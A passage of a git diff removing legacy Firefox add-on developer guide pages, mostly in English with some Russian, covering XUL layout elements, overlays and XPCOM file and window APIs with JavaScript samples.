ReturnVK_RETURN
EnterVK_ENTER
BackspaceVK_BACK_SPACE
DeleteVK_DELETE
EscapeVK_ESCAPE
VK_UP
VK_DOWN
VK_LEFT
VK_RIGHT
-
Table 3: Typical keycode names
-

 

-
Using modifier keys
-

Use the modifiers attribute with one or more of the following comma-delimited values: "control", "alt", "shift", and "meta" in order to limit the use of keyboard shortcuts to only operate when those modifier keys are pressed together with another key. The standard modifier key on Windows and Linux is Control; on Mac OS it is Command. An easy way to automatically use the modifier key appropriate for the current platform is to set the modifier key to "accel", which maps to Control on Windows and Linux, Command on Mac OS.

-
- Note: The "meta" key is the Command key on Mac OS X (the one with the cloverleaf design on it).
-

The key element itself is never displayed on screen. In order to display defined keyboard shortcuts as shown in Figure 15, reference the key element's id from the menu or menuitem element’s key attribute.

-

{{ TODO("Figure 15: Displaying keyboard shortcuts in menu items:Menu 1/Save/Scroll") }}

- -

XUL includes a number of elements used strictly to organize the layout of screen widgets.

-

spacer

-

Use the spacer element if you want to open up the space between buttons. You can use the flex attribute or style attribute to make whitespace stretch or set it to a certain size.

-

grid

-

In the same way that the table element is used to lay out content in HTML, you can use the grid element in XUL. As shown in Listing 20, you first declare the number of columns, and then define the content of each row. The output of this sample is shown in Figure 16. You can also code it so that the rows come first, declaring the number of rows and then defining content by column.

-

The rowspan and colspan attributes available in HTML tables are not available in XUL grids.

-
<grid>
-  <columns>
-    <column/>
-    <column flex="1"/>
-  </columns>
-  <rows>
-    <row align="center">
-      <label value="User ID"/>
-      <textbox/>
-    </row>
-    <row align="center">
-      <label value="Name"/>
-      <textbox/>
-    </row>
-  </rows>
-</grid>
-
-

Listing 20: Layout using the grid

-

-

Figure 16: Output from Listing 20

-

stack

-

Use the stack element to overlap multiple widgets. The stack element differs from a normal box in that all the elements in it are layered over each other, working from the bottom up. Listing 21 shows an example of a thermometer-style progress bar, with its output shown in Figure 17.

-
<stack>
-  <progressmeter mode="normal" value="50"/>
-  <hbox align="center">
-    <label value="In progress…"/>
-  </hbox>
-</stack>
-
-

Listing 21: Overlapping with stack

-

-

Figure 17: Progress Bar

-

tab

-

Use the tab element to divide multiple pages, as used in the Properties dialog; use the tabbox element to group related elements. This is demonstrated in Listing 22, with its output shown in Figure 18.

-
<tabbox>
-  <tabs>
-    <tab label="tab1"/>
-    <tab label="tab2" selected="true"/>
-  </tabs>
-  <tabpanels>
-    <tabpanel>
-      <checkbox label="check1"/>
-    </tabpanel>
-    <tabpanel orient="vertical">
-      <checkbox label="check2"/>
-      <checkbox label="check3"/>
-    </tabpanel>
-  </tabpanels>
-</tabbox>
-
-

Listing 22: Tabs in use

-

-

Figure 18: Output from listing 22

-

Other XUL functions

-

Overlays

-

One of XUL’s distinctive features is overlays. These give you the ability to combine multiple XUL documents and process them as a single XUL document. In Firefox, this is used to modularize functions and implement extensions.

-

By inserting an xul-overlay processing instruction between the XML declaration and the opening tag of the root element, the XUL document specified by the xul-overlay will be read in at the same time as the current XUL document. The XUL document that actually gets displayed will be a combination of the original XUL document and the one specified in xul-overlay.

-

Try typing up Listing 23 and saving it as base.xul. Take a look at the overlay example used by this XUL document.

-
<?xml version="1.0" encoding="UTF-8"?>
-<?xml-stylesheet href="chrome://global/skin/"?>
-<?xul-overlay href="overlayDocument.xul"?>
-<window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-  <hbox id="box1">
-    <label id="label1" value="Text label"/>
-  </hbox>
-  <hbox id="box2">
-    <label id="label2" value="Text label"/>
-  </hbox>
-</window>
-
-

Listing 23: base.xul

-

Appending elements

-

When defining an XUL document to open as an overlay, use an overlay element as the root element. Save the text of Listing 24 as overlayDocument.xul in the same directory as base.xul.

-

Here, we’ll open base.xul in the Firefox window. overlayDocument.xul gets read in at the same time as base.xul, resulting in what we see in Figure 19, where overlayDocument.xul gets appended to the end of base.xul.

-
<?xml version="1.0" encoding="UTF-8"?>
-<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-  <button label="Button 1"/>
-  <button label="Button 2"/>
-  <button label="Button 3"/>
-</overlay>
-
-

Listing 24: overlayDocument.xul

-

-

Figure 19: Output from listings 23 and 24

-

Merging and inserting elements

-

By inserting id attributes into the elements being appended in the XUL overlay document, elements in the base document with the same id values will have their attributes and values merged with the overlay document.

-

Try overwriting the contents of overlayDocument.xul with Listing 25 and re-saving.

-
<?xml version="1.0" encoding="UTF-8"?>
-<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-  <hbox id="box1" align="center" style="border: 1px solid; margin: 1em;">
-    <button label="Button 1"/>
-    <button label="Button 2" insertbefore="label1"/>
-  </hbox>
-  <button label="Button 3"/>
-</overlay>
-
-

Listing 25: Substitute code for overlayDocument.xul

-

Let's open base.xul in a Firefox window again. As shown in Figure 20, the style attribute from the element with the id "box1" in the overlay document has been merged with the markup for the button with that id in the base document, and inserted into the box.

-

-

 Figure 20: Output from listing 23 and 25

-

Furthermore, following the declaration insertbefore="label1", the "button2" button now has been inserted before the element with the id "label1". Conversely, if we wanted to insert it directly after, we could have used the attribute insertafter. We can also use the position attribute as a way to locate an element numerically at any position; for example, using position="4" would insert it as the fourth element.

-

External entities

-

Being a form of XML, XUL can also use entity references based on DTDs (document type definitions) as shown in Listing 26. Note that external DTD files are limited to what is given in the chrome URL, which will be discussed in Chapter 5. Please be aware that ordinary DTD files on the web or in a local directory will not be opened.

-
- Note: You may use a relative path to access a chrome URL from an XUL document.
-
<?xml version="1.0" encoding="UTF-8"?>
-<?xml-stylesheet href="chrome://global/skin/"?>
-<!DOCTYPE window SYSTEM "chrome://testapp/locale/testapp.dtd">
-<window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-  <button label="&button.1.label;"/>
-  <button label="&button.2.label;"/>
-</window>
-

Listing 26: Reading in external entities

-
<!ENTITY button.1.label "Firefox">
-<!ENTITY button.2.label "Thunderbird">
-
-

Listing 27: testapp.dtd

-

Substituting CSS for attribute declarations

-

The Gecko rendering engine includes a number of CSS properties with -moz- prepended to them; these are custom properties for XUL that have been implemented prior to being a W3C recommendation. The ones shown in Table A below correspond to the common attributes in XUL. In fact, those XUL attributes operate through these CSS properties.

-

The values declared for these CSS properties are the same integers or keywords used by the XUL attributes. While we don't recommend that you use these properties in ordinary XUL development, they can be useful for customizing the Firefox UI without scripting by using userChrome.css. For example, if you save the contents of Listing 28 as userChrome.css and save that in the chrome directory under the user profile directory, the tab bar will appear at the bottom of the content area.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
XUL attributeCSS propertyExample
orient-moz-box-orient -

-moz-box-orient: vertical;

-
align -

-moz-box-align

-
-

-moz-box-align: start;

-
pack -

-moz-box-pack

-
-

-moz-box-pack: stretch;

-
flex-moz-box-flex-moz-box-flex: 1;
ordinal-moz-box-ordinal-group-moz-box-ordinal-group: 2
-

Table 4: CSS properties corresponding to XUL attributes

-
tabbrowser .tabbrowser-strip {
-  -moz-box-ordinal-group: 2;
-}
-tabbrowser tabpanels {
-  -moz-box-ordinal-group: 1;
-}
-
-

Listing 28: A user stylesheet that locates the tab bar at the bottom

-

Icons corresponding to filetypes

-

Firefox allows you to use a special URI scheme, moz-icon, that produces filetype icons that are standard for whatever platform it is running on. For example, to display a 16x16 icon for a file with a .pdf dot-extension (a PDF file), you would write moz-icon://.PDF?size=16.

-

You can reference icons using content type as a key rather than dot-extension; for example, you could display a plain-text icon using moz-icon://goat?size=16&contentType=text/plain.

-

You can also display specific icons using the markup moz-icon:file URL?size=size.

-

The button icons mentioned in Table 2 also can be called using moz-icon URIs, using the markup moz-icon://stock/gtk-button name?size=button. Note, however, that this does not work in Linux environments.

-

Spin buttons

-

You can add a type="number" declaration to a textbox element, making it a textbox specifically for entering numeric values. This will cause the spin buttons seen in Figure 21 to appear. Additional attributes that accompany this are min and max to set minimum and maximum values, and increment, which sets the amount by which one click on the spin buttons will change the displayed value.

-

-

Figure 21: A textbox for numeric input

-

Sliders

-

The scale element is used similarly to the volume slider in Windows, allowing the user to vary a value by moving a slider up/down or left/right (see Listing 28 and Figure 22).

-
- Note: Although this control is also known as a slider, the slider element already exists in XUL as a part of a scrollbar, so this element has been named "scale".
-
<hbox>
-  <scale orient="horizontal" min="-100" max="100" value="0"/>
-  <scale orient="vertical" min="0" max="100" value="50"/>
-</hbox>
-
-

Listing 29: The scale element

-

-

Figure 22: Output from Listing 29

-

{{ PreviousNext("Firefox addons developer guide/Technologies used in developing extensions", "Firefox addons developer guide/Using XPCOM—Implementing advanced processes") }}

diff --git a/files/ru/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html b/files/ru/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html deleted file mode 100644 index cb3434ee96..0000000000 --- a/files/ru/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: 'Глава 2: Технологии используемые при разработке расширений' -slug: Firefox_addons_developer_guide/Technologies_used_in_developing_extensions -translation_of: >- - Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide/Technologies_used_in_developing_extensions ---- -

{{ Draft() }} {{ PreviousNext("Firefox addons developer guide/Introduction to Extensions", "Firefox addons developer guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI") }}

-

This document was authored by Hiroshi Shimoda of Clear Code Inc. and was originally published in Japanese for the Firefox Developers Conference Summer 2007. Shimoda-san is a co-author of Firefox 3 Hacks (O'Reilly Japan, 2008).

-

Перед более глубоким объяснением, давайте быстро познакомимся с технологиями, используемыми при разработке расширений Firefox. Мы также рассмотрим минимум знаний, которые потрепуются при разработке для Firefox.

-

Технолоии, используемые для разработки расширений Firefox

-

И Firefox, и его расширения основываются на технологиях, широко используемых в веб. Их структура похожа на структуру динамического HTML, применяемого на некоторых веб-страницах, или на HTML-приложения в Windows. Если вы имеете опыт разработки динамического HTML, то, вероятно, относительно легко усвоите знания, необходимые для разработки расширений Firefox.

-

Место каждой технологии

-

Firefox по большей части построен при помощи четырех технологий: XUL, CSS, JavaScript и XPCOM. Приложения строятся таким же образом.

-

Рисунок 1: Место каждлй технологии в Firefox

-

-

In addition to these technologies, extension development will require you to learn about how to confer privileges to overcome security restrictions on code that you write, and how to embed your code into the Firefox UI. Эти вопросы обсуждаются в Главе 5.

-

The minimum knowledge required

-

In the interest of brevity, I will omit explanations of widely understood technologies, and focus instead on introducing new technologies you will need to understand in order to develop for Firefox. I will assume that you have experience developing with dynamic HTML, as well as the topics below. For more information on these technologies, please refer to other sources.

- -

XML: A text-based structural language

-

Extensible Markup Language (XML) is a meta-language for expressing various kinds of data. It was specified in 1998 by W3C, the organization that sets standards for web-related technologies. It has a number of useful qualities: it is generic, extensible, and easy to validate as well-formed.

-

Some examples of XML-based markup languages include XHTML, which is HTML redefined on an XML base; SVG, for expressing vector images; and MathML, for expressing mathematical formulas. XUL, which is used in Firefox, is also based on XML.

-

Listing 1: XML syntax

-
<elementname someattribute="somevalue">
-  content
-</elementname>
-

As shown in Listing 1, XML uses elements, which consist of an opening tag, a closing tag, and content.

-
- Note: Elements that take no content can be expressed in compact form as <elementname/>.
-

An element can include other elements as well as text in its content, and all information is structured as a tree. As in all trees, elements can have children (elements contained within them) and parents (elements that contain them). Attributes can also be added to opening tags, each with a value.

-

As the "extensible" part of XML implies, elements from various XML-based languages such as XHTML and SVG can be interspersed in one another as a means to extend the language. All elements can carry a "namespace URI" identifier, which is unique for each language. For example, even though XHTML and SVG have elements with the same name, these can be distinguished. The namespace URI for XHTML is "http://www.w3.org/1999/xhtml" ; for SVG is it "http://www.w3.org/2000/svg".

-

CSS: A style language to alter the display of XML documents

-

Like XML, Cascading Style Sheets (CSS) is a technical specification established by the W3C; it is a style-description language defining the display of data marked up in XML and HTML. As shown in Listing 1, it has an extremely simple syntax. By separating the structure of the data, expressed through HTML or XML, and the display style, indicated by CSS, data can be reused better than it is when structural and stylistic markup are both embedded in HTML.

-

There are three CSS specifications (Level 1 through Level 3), with progressively powerful features. The Gecko rendering engine handles nearly all of CSS Level 2 and some of CSS Level 3.

-

Listing 2: CSS code sample

-
body {
-  color: black;
-  background-color: white;
-}
-p {
-  margin-bottom: 1em;
-  text-indent: 1em;
-}
-
-

JavaScript: The world's most misunderstood language

-

JavaScript is a scripting language first developed in the 1990s, at which time it was created as a way to add dynamic features to web pages. Because it was often used at first to display pop-up windows, marching text in status bars, or in other ways that made web pages less useful to users, the language acquired a reputation as having little practical use and lacking in functionality.

-

Also, because a series of security holes were discovered in JavaScript and the compatible technology JScript, there was an initial reluctance to use JavaScript at all.

-

Nevertheless, the rise of web services like Google Maps, which used JavaScript and asynchronous communications, created an awareness of a set of technologies nicknamed AJAX (Asynchronous JavaScript and XML); that plus the advent of a number of libraries that paper over implementation differences between different web browsers has more recently led to a re-evaluation of JavaScript as a programming language.

-

JavaScript is a prototype-based object-oriented language, and as shown in Listing 3, also permits independent class definitions. It does not have strict typing like Java, making it extremely flexible and giving it qualities that in some senses could be considered similar to Lisp.

-

Firefox 3.5 includes a number of extensions to the specification standardized in ECMAScript 3rd Edition, and can use JavaScript 1.7 and JavaScript 1.8.

-

Listing 3: An example of a class definition in JavaScript

-
function MyClass() {
-}
-MyClass.prototype = {
-  property1 : true,
-  property2 : 'string',
-  method : function() {
-    alert('Hello, world!');
-  }
-};
-var obj = new MyClass();
-obj.method();
-
-

DOM: An API for manipulating XML documents

-

The Document Object Model (DOM) is a technical standard promulgated by the W3C, and is an API for manipulating the contents of XML documents as objects. In earlier dynamic HTML approaches, the typical method was to use the innerHTML property of the HTML element node to dynamically change the contents of the HTML document by manipulating strings, but using the DOM makes it possible to manipulate XML documents in a way that better matches JavaScript's object-oriented nature.

-

In addition, XUL lacks any equivalent for the innerHTML property, so if it weren’t for the DOM, dynamic processing would be impossible.

-

There are a number of levels to the DOM with different levels of functionality. Gecko supports nearly all of DOM Level 2 and some of DOM Level 3.

-

With the DOM, the contents of an XML document are handled as a "DOM tree," a collection of element nodes and other nodes. Listing 4 shows an example that deletes the second child element of the element with the "toolbar" id, adds a new button element as a substitute, and sets a label attribute.

-

We do not go into the details of the various APIs in the DOM. To learn more about the DOM, please take a look at the MDC documentation.

-

Listing 4: An example manipulation using the DOM

-
var bar = document.getElementById('toolbar');
-bar.removeChild(bar.childNodes[1]);
-bar.appendChild(document.createElement('button'));
-bar.lastChild.setAttribute('label', 'Hello!');
-
-

{{ PreviousNext("Firefox addons developer guide/Introduction to Extensions", "Firefox addons developer guide/Introduction_to_XUL—How_to_build_a_more_intuitive_UI") }}

diff --git "a/files/ru/firefox_addons_developer_guide/using_xpcom\342\200\224implementing_advanced_processes/index.html" "b/files/ru/firefox_addons_developer_guide/using_xpcom\342\200\224implementing_advanced_processes/index.html" deleted file mode 100644 index a01dc954a9..0000000000 --- "a/files/ru/firefox_addons_developer_guide/using_xpcom\342\200\224implementing_advanced_processes/index.html" +++ /dev/null @@ -1,369 +0,0 @@ ---- -title: 'Глава 4: Использование XPCOM- реализация более сложных процессов' -slug: Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes -translation_of: >- - Archive/Add-ons/Overlay_Extensions/Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes ---- -

{{ Fx_minversion_header(3.5) }} {{ Draft() }}

-

{{ PreviousNext("Firefox addons developer guide/Introduction to XUL—How to build a more intuitive UI", "Firefox addons developer guide/Let%27s build a Firefox extension") }}

-

 {{ TODO("We should include a link to the MDC list of snippets") }}

-

 {{ TODO("We need to add a part about 'why and how to create your own component' C++/JS") }}

-

This document was authored by Hiroshi Shimoda of Clear Code Inc. and was originally published in Japanese for the Firefox Developers Conference Summer 2007. Mr. Shimoda is a co-author of Firefox 3 Hacks (O'Reilly Japan, 2008).

-

This chapter explains how to use XPCOM to implement advanced processes using only JavaScript.

-

Introduction

-

JavaScript lacks functions for opening files and character-code conversion, among other things. A different mechanism is needed to perform these functions. Internet Explorer handles this using ActiveX; in Firefox, we use the Cross-Platform Component Object Model, or XPCOM.

-

Due to deprecation of enablePrivilege this functionality can not be used in web pages. EnablePrivilege is disabled in Firefox 15 and will be removed in Firefox 17.

-

About XPCOM

-

XPCOM is a framework for developing platform-independent components. Components developed in line with that framework are referred to as XPCOM components, and sometimes the components are simply referred to as XPCOMs.

-

Firefox itself includes a great number of XPCOM components, and they can be used in extensions as well. Sometimes an extension will be packaged with a special XPCOM component developed specifically for it.

-
- Note: If you're developing components in C++ or other compiled languages, be sure to include binaries for every platform.
-

Reference materials

-

To get an idea of what kinds of functions embedded XPCOM can handle, take a look at the  API reference and the interface definitions from XPIDL in the actual source code.

-
- Note: Interface Definition Language (IDL) is a language for giving standard definitions of objects, methods, and so forth.  The XPIDL (Cross-Platform IDL) used by Mozilla is a partial extension to the CORBA IDL.
-

You can perform a full-text search of the Firefox source code in Mozilla Cross-Reference using character strings, filenames, etc as search keys. If you’re having trouble with any of the details of the interface, it is helpful to search on the source code for usage examples within Firefox.

-
- Note: To look at the Firefox 3 source code, choose "Firefox 3" in the Starting Points list.  For Firefox 3.5 choose "Mozilla 1.9.1."  For the current development trunk of Firefox, choose "Mozilla Central" and for Thunderbird, choose "Comm. Central".
-

Calling XPCOM from XPConnect

-

Use the XPConnect technology to use XPCOM in JavaScript. Listing 1 shows how you can use XPConnect to acquire references to XPCOM services and create new XPCOM objects.

-

Each component is identified with a contract ID in the form @domain_name/module_name/component_name;version_number, and implements one or more interfaces that determine what functions can be called on these components. Interfaces names usually have the forms nsIxxx. In order to have access to the corresponding functions, it is necessary to use the component with the interface you want to use. Some XPCOM components are services, that means only one instance in memory. For instance, this is the case for the bookmarks component, which is actually a service. It lets you access and manipulate the user's bookmarks. Those should be accessed with getService(). For other components, you can create as many instances as you need. For instance, this is the case for files (nsILocalFile). Those are created with createInstance(). It's important to know whether a component should be created with getService() or createInstance(), because using one instead of the other can cause problems.

-

Listing 1: Calling XPCOM functions using XPConnect

-
<?xml version="1.0" encoding="UTF-8"?>
-<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-  <script type="application/javascript"><![CDATA[
-   var ioService = Components.classes['@mozilla.org/network/io-service;1']
-                   .getService(Components.interfaces.nsIIOService);
-   alert(ioService);
-  ]]></script>
-</page>
-
-

{{ deprecated_inline() }} Calling XPConnect using local files

-

Try saving the contents of Listing 1 as the file test.xul, somewhere on your desktop, and drag and drop it into Firefox to open it. You'll note that even though the file includes an alert method, nothing happens. This is a by-product of the fact that test.xul currently doesn’t have privileges.

-

In order to use XPConnect, the file needs special UniversalXPConnect privileges. Because ordinary web pages and local files don't have privileges, it's impossible to actually try out the sample code in this chapter.

-

In order to set UniversalXPConnect privileges, you need to run the code in Listing 2.

-

Listing 2: Setting privileges

-
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
-
-
- Note: This is unneeded when the code is part of an extension, and will result in rejection if submitted to addons.mozilla.org.
-

Permit by dialog

-

Try adding the contents of Listing 2 to test.xul, before the line var ioService = …, and re-open it in Firefox. You should now see the confirmation dialog shown in Figure 1. Pressing the "Permit" button grants UniversalXPConnect permission in this execution context, making it possible to run XPConnect temporarily. An XPConnect-wrapped nsIIOService message should appear.

-

If you check “apply these privileges in the future”, all local files will be able to run XPConnect without confirmation in the future. This is extremely dangerous, and you should never check this option.

-

Editing prefs.js

-

Opening test.xul will produce the dialog shown in Figure 1. This can get annoying. To run the file's scripts without manual confirmation, add the contents of Listing 3 to the prefs.js file in the user profile folder. Opening test.xul will show the local file URL in the location bar. Copy and paste this into the appropriate spot in Listing 3.

-
- Note: The location of the user profile will vary depending on your system. On Windows Vista, it will be located at C:\Users\username\AppData\Roaming\Mozilla\Firefox\Profiles\random number.default\ ; On Windows XP or 2000, it will be C:\Documents and Settings\username\Application Data\Mozilla\Firefox\Profiles\random number.default\ ; On Linux, it will be ~/.mozilla/firefox/random number.default/ ; On Mac OS X, it will be ~/Library/Application Support/Firefox/Profiles/random number.default/
-

In the interests of security, delete these lines from prefs.js after finishing these tests.

-

Note that Firefox itself and its extensions have privileges set by default after installation and registration. Extensions don't need special code like that in Listing 2 in order to get privileges.

-

{{ TODO("We should advise against using such method") }}

-

{{ TODO("Figure 1: Dialog requesting privileges") }}

-

Listing 3: Grant privileges without manual confirmation for a specific file

-
user_pref("capability.principal.codebase.test.granted", "UniversalXPConnect");
-user_pref("capability.principal.codebase.test.id", "File URL");
-
-

Frequently used XPCOM functions

-

Let’s take a look at those XPCOM functions that are used especially frequently. You should be able to get the gist of how XPCOM is used by looking at the sample code. You can paste almost all the sample code in this chapter into your existing test.xul file to try it out. Feel free to fill in blank spots as you see fit. Make sure to change file paths to match your own environment.

-

You can download the source code used in this chapter.

-

Get window

-

While you can use JavaScript to get child windows opened from the parent window, you cannot get dialogs or windows that have no relation to that window. To overcome this limitation, nsIWindowMediator makes it possible to access all of Firefox's windows.

-

Get active window

-

One thing that nsIWindowMediator is often used for is to get the active window. Listing 4 shows how to get the active browser window and the number of open tabs.

-

Passing the name of the window type as the parameter of the {{ ifmethod("nsIWindowMediator", "getMostRecentWindow") }} method returns the most recently active window from among the root element's windows with that type set for the windowtype attribute value. Setting the parameter to null returns the active window from among all windows, including dialogs, etc.

-

Listing 4: Get active browser window

-
netscape.security.PrivilegeManager
-	  .enablePrivilege('UniversalXPConnect');
-
-var WindowMediator = Components
-			.classes['@mozilla.org/appshell/window-mediator;1']
-			.getService(Components.interfaces.nsIWindowMediator);
-var browser = WindowMediator.getMostRecentWindow('navigator:browser');
-alert(browser.gBrowser.mTabs.length);
-

Get overview of all windows with a certain type

-

Use the {{ ifmethod("nsIWindowMediator", "getEnumerator") }} method to get an overview of all windows that have a certain type. Listing 5 shows how to get a summary of all browser windows in Firefox and then close them.

-

Listing 5: Closing all browser windows

-
var browsers = WindowMediator.getEnumerator('navigator:browser');
-var browser;
-while (browsers.hasMoreElements()) {
-  browser = browsers.getNext().QueryInterface(Components.interfaces.nsIDOMWindowInternal);
-  browser.BrowserTryToCloseWindow();
-}
-

This method returns an overview of the specified window type in the form of an Iterator pattern object called nsISimpleEnumerator. After getting an element with the {{ ifmethod("nsISimpleEnumerator", "getNext") }} method, use the QueryInterface method to get the interface, which allows you to handle each element as a window object.

-

Like the getMostRecentWindow() method, passing null as the parameter for the getEnumerator() method enables you to get all windows in Firefox, including dialogs, etc.

-

Manipulating files using XPCOM

-

XPCOM provides a number of interfaces allowing you to perform file manipulations without concern for whether you are running on Windows, Mac OS X, or Linux.

-

In order to work with local files, first you need to create a nsILocalFile object representing the local file, as shown in Listing 6. When you initialize this by passing the full path to the file with the {{ ifmethod("nsILocalFile", "initWithPath") }} method, it becomes available to all functions. It doesn't matter whether a file at the specified path already exists.

-
- Note: Use the path format suited to your platform: the Windows “\” path delimiter is interpreted as an escape code, and so should always be written “\\”; characters like “./” on Linux require no special handling.
-

Listing 6: Creating an XPCOM object representing a file

-
var file = Components.classes['@mozilla.org/file/local;1']
-           .createInstance(Components.interfaces.nsILocalFile);
-file.initWithPath('C:\\temp\\temp.txt');
-
-

Creating and deleting files

-

Listing 7 shows how to delete a file if it exists, and create a new file with the same name.

-

Passing true as a parameter for the {{ ifmethod("nsILocalFile", "remove") }} method will recursively delete folders and files. Let's see what happens when we pass true to delete all the contents of a folder.

-

Listing 7: Check that file exists, delete it, and create it

-
file.initWithPath('C:\\temp\\temp.txt');
-if (file.exists())
-  file.remove(false);
-file.create(file.NORMAL_FILE_TYPE, 0666);
-
-

The first parameter of the {{ ifmethod("nsILocalFile", "create") }} method gives the type of file to create. This is defined using constant properties—to create a normal file, use NORMAL_FILE_TYPE, to create a folder use DIRECTORY_TYPE. The second parameter gives the access privileges to that file using Unix-style octal values.

-
- Note: Windows ignores the privileges parameter; other platforms may do so as well.
-

The nsILocalFile object includes methods that return virtual state values for the current file, as shown in Table 1.

-

Table 1: Methods for checking file states

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Method nameDescription
{{ ifmethod("nsILocalFile", "exists") }}Determines whether or not the file exists.
{{ ifmethod("nsILocalFile", "isWriteable") }}Determines whether or not the file can be written to.
{{ ifmethod("nsILocalFile", "isReadable") }}Determines whether or not the file can be read.
{{ ifmethod("nsILocalFile", "isExecutable") }}Determines whether or not the file can be executed.
{{ ifmethod("nsILocalFile", "isHidden") }}Determines whether or not the file is hidden.
{{ ifmethod("nsILocalFile", "isDirectory") }}Determines whether or not the reference is to a directory.
{{ ifmethod("nsILocalFile", "isFile") }}Determines whether or not the reference is to a file.
{{ ifmethod("nsILocalFile", "isSymlink") }}Determines whether or not the reference is to a symlink.
-

Traversing directories

-

Moving into a directory

-

Use the {{ ifmethod("nsILocalFile", "append") }} method to drill down into a directory (or file). See Listing 8.

-

Listing 8: Traversing directories

-
file.initWithPath('C:\\');
-file.append('Documents and Settings');
-file.append('All Users');
-file.append('Documents');
-

List files in specified directory

-

Use the directoryEntries property to perform operations on all the files or folders in a given folder. This property returns a nsISimpleEnumerator-type object similar to the window overview, so you can get each element using similar techniques. Listing 9 shows how to list the contents of a folder.

-

Listing 9: Listing the contents of a specific directory

-
file.initWithPath('C:\\');
-var children = file.directoryEntries;
-var child;
-var list = [];
-while (children.hasMoreElements()) {
-  child = children.getNext().QueryInterface(Components.interfaces.nsILocalFile);
-  list.push(child.leafName + (child.isDirectory() ? ' [DIR]' : ''));
-}
-alert(list.join('\n'));
-

Get parent directory

-

Although the nsILocalFile object does not contain a function for moving to higher directories, Listing 10 does show how you can use the parent property to get the parent directory of the current file.

-

Listing 10: Creating a backup of a specific file in a separate folder

-
file.initWithPath('C:\\temp\\temp.txt');
-backupFolder = file.parent.parent; // C:\
-backupFolder.append('backup'); // C:\backup
-backupFolder.create(Components.interfaces.nsIFile.DIRECTORY_TYPE, 0666);
-file.copyTo(backupFolder, file.leafName+'.bak');
-
-

Converting between file paths and file URLs

-

XPCOM functions can use both remote resources and local files, and these functions almost always specify their targets using URIs. Local file paths can be converted to file URLs, such as file:///C/temp/temp.txt, as shown in Listing 11. Listing 12 shows the opposite conversion.

-

Listing 11: Converting a local file path to a URL

-
var path = 'C:\\temp\\temp.txt';
-var file = Components.classes['@mozilla.org/file/local;1']
-           .createInstance(Components.interfaces.nsILocalFile);
-file.initWithPath(path);
-var ioService = Components.classes['@mozilla.org/network/io-service;1']
-                .getService(Components.interfaces.nsIIOService);
-var url = ioService.newFileURI(file);
-var fileURL = url.spec;
-alert(fileURL); // "file:///C:/temp/temp.txt"
-

Listing 12: Converting a URL to a local file path

-
var url = 'file:///C:/temp/test.txt';
-var ioService = Components.classes['@mozilla.org/network/io-service;1']
-                .getService(Components.interfaces.nsIIOService);
-var fileHandler = ioService.getProtocolHandler('file')
-                  .QueryInterface(Components.interfaces.nsIFileProtocolHandler);
-var file = fileHandler.getFileFromURLSpec(url);
-var path = file.path;
-alert(path); // "C:\temp\temp.txt"
-

Binary file I/O

-

Use streams, as in Java, for file I/O in XPCOM.

-

Opening binary files

-

Listing 13 shows how to get a files contents as a bytestring (where 1 byte = an array of 8 bits). Save a text file containing only the ASCII characters "XUL" and put in the path to that file. Running this code should produce the output "58 55 4C" so you can check your results.

-
- Note: Here, we assume that the file is named temp.txt and is saved in the temp folder on the C: drive.
-

Listing 13: Reading the contents of a binary file

-
file.initWithPath('C:\\temp\\temp.txt');
-var fileStream = Components.classes['@mozilla.org/network/file-input-stream;1']
-                 .createInstance(Components.interfaces.nsIFileInputStream);
-fileStream.init(file, 1, 0, false);
-var binaryStream = Components.classes['@mozilla.org/binaryinputstream;1']
-                   .createInstance(Components.interfaces.nsIBinaryInputStream);
-binaryStream.setInputStream(fileStream);
-var array = binaryStream.readByteArray(fileStream.available());
-binaryStream.close();
-fileStream.close();
-alert(array.map(
-        function(aItem) {return aItem.toString(16); }
-      ).join(' ').toUpperCase(
-));
-

When we initialized nsIFileInputStream, we set the second and third parameters to initialize it in read-only mode. Once the process is complete, you should close all streams.

-

Outputting binary files

-

Listing 14 shows the opposite operation, taking a string of bytes and outputting them as a binary file. Here, we're outputting a text file consisting of the ASCII characters "XUL."

-

When we initialized nsIFileInputStream, we set the second and third parameters to initialize it in write-only mode. Here again, once the process is complete, you should close all streams.

-

Listing 14: Writing a binary file

-
var array = [88, 85, 76];
-file.initWithPath('C:\\temp\\temp.txt');
-if (file.exists())
-  file.remove(true);
-file.create(file.NORMAL_FILE_TYPE, 0666);
-var fileStream = Components.classes['@mozilla.org/network/file-output-stream;1']
-                 .createInstance(Components.interfaces.nsIFileOutputStream);
-fileStream.init(file, 2, 0x200, false);
-var binaryStream = Components.classes['@mozilla.org/binaryoutputstream;1']
-                   .createInstance(Components.interfaces.nsIBinaryOutputStream);
-binaryStream.setOutputStream(fileStream);
-binaryStream.writeByteArray(array , array.length);
-binaryStream.close();
-fileStream.close();
-
-

Text file I/O

-

Text files are read the same way streams are. If the text includes multi-byte characters, as is used in Japanese, you'll need to convert the character codes.

-

Text file input

-

Listing 15 shows an example of opening a text file encoded as Shift-JIS (a double-byte character encoding for Japanese). Copy some Japanese text into a text file, save it as Shift-JIS, and put in the path to that file. The text will be displayed as-is. The text that you've read in is actually being represented internally as Unicode (UTF-16).

-

Listing 15: Reading a Shift-JIS text file

-
file.initWithPath('C:\\temp\\temp.txt');
-var charset = 'Shift_JIS';
-var fileStream = Components.classes['@mozilla.org/network/file-input-stream;1']
-                 .createInstance(Components.interfaces.nsIFileInputStream);
-fileStream.init(file, 1, 0, false);
-var converterStream = Components.classes['@mozilla.org/intl/converter-input-stream;1']
-                      .createInstance(Components.interfaces.nsIConverterInputStream);
-                      converterStream.init(fileStream, charset, fileStream.available(),
